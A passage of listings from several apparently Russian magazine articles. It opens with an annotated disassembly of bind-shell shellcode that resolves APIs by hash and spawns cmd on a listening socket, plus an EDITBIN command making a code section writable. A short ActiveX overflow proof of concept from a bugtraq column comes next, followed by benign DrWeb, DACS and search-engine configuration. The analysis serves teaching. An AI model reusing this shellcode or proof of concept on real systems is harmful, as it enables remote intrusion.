24 mov ebp, [esp+24h] ; base of KERNEL32.DLL seg000:00000026 8B 45 3C mov eax, [ebp+3Ch] ; PE header seg000:00000029 8B 7C 05 78 mov edi, [ebp+eax+78h] ; export table RVA seg000:0000002D 01 EF add edi, ebp ; адрес таблицы экспорта seg000:0000002F 8B 4F 18 mov ecx, [edi+18h] ; numberOfNamePointers seg000:00000032 8B 5F 20 mov ebx, [edi+20h] ; namePointerRVA seg000:00000035 01 EB add ebx, ebp ; namePointer VA seg000:00000037 seg000:00000037 loc_37: ; CODE XREF: seg000:00000050↓j seg000:00000037 49 dec ecx ; обрабатываем следующее имя seg000:00000038 8B 34 8B mov esi, [ebx+ecx*4] ; RVA-адрес функции seg000:0000003B 01 EE add esi, ebp ; виртуальный адрес функции seg000:0000003D 31 C0 xor eax, eax ; EAX := 0 seg000:0000003F 99 cdq ; EDX := 0 seg000:00000040 seg000:00000040 loc_40: ; CODE XREF: seg000:0000004A↓j seg000:00000040 AC lodsb ; читаем очередной байт имени seg000:00000041 84 C0 test al, al ; это конец имени? seg000:00000043 74 07 jz short loc_4C ; если конец, выходим из цикла seg000:00000045 C1 CA 0D ror edx, 0Dh ; следующие 2 строчки хэшируют имя seg000:00000048 01 C2 add edx, eax seg000:0000004A EB F4 jmp short loc_40 ; мотаем цикл seg000:0000004C seg000:0000004C loc_4C: ; CODE XREF: seg000:00000043↑j seg000:0000004C 3B 54 24 28 cmp edx, [esp+28h] ; это «наш» хэш? seg000:00000050 75 E5 jnz short loc_37 ; продолжаем поиск, если не наш seg000:00000052 8B 5F 24 mov ebx, [edi+24h] ; ordinalTableRVA seg000:00000055 01 EB add ebx, ebp ; ordinalTable VA seg000:00000057 66 8B 0C 4B mov cx, [ebx+ecx*2] ; index seg000:0000005B 8B 5F 1C mov ebx, [edi+1Ch] ; exportAddressTableRVA seg000:0000005E 01 EB add ebx, ebp ; exportAddressTable VA seg000:00000060 03 2C 8B add ebp, [ebx+ecx*4] ; вот она наша функция!!! seg000:00000063 89 6C 24 1C mov [esp+1Ch], ebp ; сохраняем в EAX seg000:00000067 61 popa ; восстанавливаем регистры seg000:00000068 C3 retn ; возвращаемся из функции Листинг 19 загрузка библиотеки ws2_32 для работы с сокетами и ее инициализация seg000:00000082 66 53 push bx ; "ws2_32" seg000:00000084 66 68 33 32 push small 3233h seg000:00000088 68 77 73 32 5F push 5F327377h seg000:0000008D 54 push esp ; &"ws2_32" seg000:0000008E FF D0 call eax ; LoadLibraryA seg000:00000090 68 CB ED FC 3B push 3BFCEDCBh ; WSAStartup seg000:00000095 50 push eax seg000:00000096 FF D6 call esi ; MyGetProcAddress WSASocketA(2, 1, 0,0,0,0) → bind(s, {sockaddr_in.2; sin_port.0x621Eh}, 0x10) → listen(s,2) → accept (s, *addr, *addrlen) → closesocket(s) CreateProcessA(0, "cmd...", 0,0, 1,0,0,0, lpStartupInfo, lpProcessInformation) → WaitForSingleObject(hProc, -1) → ExitThread(0) Листинг 20. Снятие с кодовой секции запрета на запись EDITBIN filename.exe /SECTION:.text,rwe   -----------------------------------------------------------------------------------------------------------------   Настраиваем DrWeb Enterprise Suite Антон Борисов   $ wget ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280-linux-debian-sarge.tar.gz $ wget ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280-unices.tar.gz $ tar xzvf drweb-es-4.33-200510280-linux-debian-sarge.tar.gz $ tar xzvf drweb-es-4.33-200510280-unices.tar.gz     # groupadd drwcs # adduser drwcs     # cp -R opt /opt/drwcs # chown -R drwcs:drwcs /opt/drwcs     $ scp enterprise.key drwcs@drwcs.lan.net:/opt/drwcs/etc     $ cd /opt/drwcs $ bin/drwsign genkey etc/drwcsd.pri etc/drwcsd.pub $ chmod 600 etc/drwcsd.pri $ chown drwcs:drwcs etc/drwcsd.pri $ mv etc/drwcsd.pub Installer     $ bin/drwcsd -var-root=./var -verbosity=all -log=var/server.log initdb agent.key     Скрипт запуска/остановки серверной части для Slackware Linux #!/bin/sh DISTVER="Slackware 10.0" BIN=/opt/drwcs case "$1" in start) cd $BIN echo -n "Starting DRWEB Engine ..." su - drwcs -c "$BIN/bin/drwcsd -home=$BIN -var-root=$BIN/var -verbosity=all -log=$BIN/var/server.log -rotate=5,500000 -daemon -pid=$BIN/var/drwebd.pid" echo -e " Done" ;; stop) echo -n "Stopping DRWEB Engine ..." killall -15 drwcsd-unsafe echo -e " Done" ;; restart) $0 stop $0 start ;; echo "Usage: $0 {start|stop|restart}" exit 1 esac exit 0     # /etc/rc.d/rc.drwebd start     drwinst.exe -interactive -verbosity=all drwcs.lan.net     Скрипт для выгрузки внутренней БД #!/bin/sh ######################################################### # Exporting internal DrWEB DB into .SQL dump script # 28 Sep 2005, AB ######################################################### DATE=/usr/bin/date IDBSH=/opt/drwcs/bin/drwidbsh IDB=/opt/drwcs/var/dbinternal.dbs BZ2=/usr/bin/bzip2 ECHO=/usr/bin/echo DRWENGINE=/etc/rc.d/rc.drwebd OUTPATH=/root/System/drweb/ export LC_ALL="C" $DRWENGINE stop echo "Engine Stopped"; echo "Sleep 10 seconds"; sleep 10s; OUTPUT=`$ECHO IDB.$($DATE +%d_%b_%Y_-_%k_%M).sql.bz2`; echo "Exporting Internal DrwebDB into $OUTPUT .sql script"; $IDBSH $IDB ".dump" | $BZ2 > $OUTPATH$OUTPUT echo "DrWEB IntDB dumped" $DRWENGINE start     50 0 * * * /root/System/export_idb.sh > /dev/null 2>&1   -----------------------------------------------------------------------------------------------------------------   bugtraq, стр. 73   function Demo() { var a = new ActiveXObject("Internet.HHCtrl.1"); var b = unescape("XXXX"); while (b.length < 256) b += b; for (var i=0; i<4096; i++) { a['Image'] = b + ""; } }   -----------------------------------------------------------------------------------------------------------------   Контролируем доступ к веб-сервису с помощью DACS Сергей Яремчук   federation-name::     federation-name::jurisdiction-name:     ::jurisdiction-name:     federation-name::jurisdiction-name:username     HOME::SALES:boss ::SALES:boss SALES:boss :boss     %HOME::SALES:friends %::SALES:friends %SALES:friends %:friends     user name="SALES:boss" user name="%SALES:admin" user name="10.0.0.118" user name="192.168.0.0/24" user name="home.com" user name="HOME:" user name="auth" user name="unauth"     user name="auth" user name="HOME:auth"     user name="*:admin"     user("not *:sergej")     user("not *:sergej and noauth")     deny user("unauth")     revoke user("any")     deny time("wday") eq 6 or time("wday") eq 0     revoke not from("192.168.1.0/24")     user("auth")       -----------------------------------------------------------------------------------------------------------------   Тестируем движки поисковых машин Иван Максимов   gzip -d name.tgz / tar -xvf name.tar /    
  # ./configure –enable-apachecacheonly     # Директивы загрузки LoadModule dpsearch_module modules/mod_dpsearch.so AddModule mod_dpsearch.c # Конфигурационные файлы модуля DataparkSearchdConf /usr/local/dpsearch/etc/modsearchd.conf SetHandler dpsearch DataparkSearchTemplate /usr/local/dpsearch/etc/modsearch.htm SetHandler dpstoredoc DataparkStoredocTemplate /usr/local/dpsearch/etc/modstoredoc.htm     sh$ mysqladmin create search     sh$mysql --user=root mysql mysql> GRANT ALL PRIVILEGES ON *.* TO пользователь@localhost IDENTIFIED BY 'пароль' WITH GRANT OPTION; exit     DBAddr mysql://пользователь:пароль@localhost/search/?dbmode=режим     #Disallow *.tex *.texi *.xls *.doc *.texinfo #Disallow *.rtf *.pdf *.cdf *.ps     Mime application/msword "text/plain; charset=utf-8" "catdoc -a -dutf-8 $1" Mime application/vnd.ms-excel text/plain "xls2csv $1" Mime "text/rtf*" text/html "rthc --use-stdout $1 2>/dev/null"     Server ftp://192.168.0.11/     DBAddr mysql://пользователь:пароль@localhost/searchmn/?dbmode=режим    
    beagle-config indexing AddRoot /mnt/disk2     beagle-config indexing AddExclude pattern file.xxx     /mnt/disk2 true   -----------------------------------------------------------------------------------------------------------------